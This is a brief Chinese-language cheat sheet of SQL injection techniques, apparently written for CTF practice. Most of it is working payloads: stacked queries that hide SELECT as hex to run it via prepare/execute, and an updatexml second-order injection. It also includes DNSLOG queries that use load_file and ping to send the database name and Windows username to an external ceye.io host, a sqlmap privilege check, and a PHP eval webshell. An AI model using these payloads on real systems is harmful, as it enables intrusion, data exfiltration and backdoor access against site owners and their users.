几种过滤

  1. 过滤关键词,如select、update、insert等
  2. 过滤空格

堆叠注入

数据库类型支持多条语句;

;show databases;
;show tables;
;show columns from ``;
## 由于select被过滤,因此可以将列名改为flag再输出
## 或者,采用如下方法:
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

二次注入

先写入后组合的注入(如:注册——登录——修改); 受到攻击的sql语句:

update user set passwd='新密码' where username='用户名' and passwd='旧密码'

密码一般会被加密,不好入手,因此选择用户名攻击:

## 空格被过滤
x"^updatexml(1,concat(0x7e,(version())),0)#

DNSLOG注入

解决不回显,相比盲注更快,但适用范围不广,因为要用到load_file()函数,需要root权限,并且secure_file_priv需要为空,且需要操作系统为Windows(\\为unc路径)。

ping test.dbuh8a.ceye.io
ping %USERNAME%.dbuh8a.ceye.io
select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa'));
select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa'));

高权限注入

数据库用户分为系统用户和普通用户。前者可看所有数据库,可进行文件读写;后者不行。 ⚠️所以,某些注入点可以读写文件。

# 判断是否高权限
python sqlmap.py -u "http://XXX?id=1" --is-dba

写入一句话后门

<?php eval($_POST['x']); ?>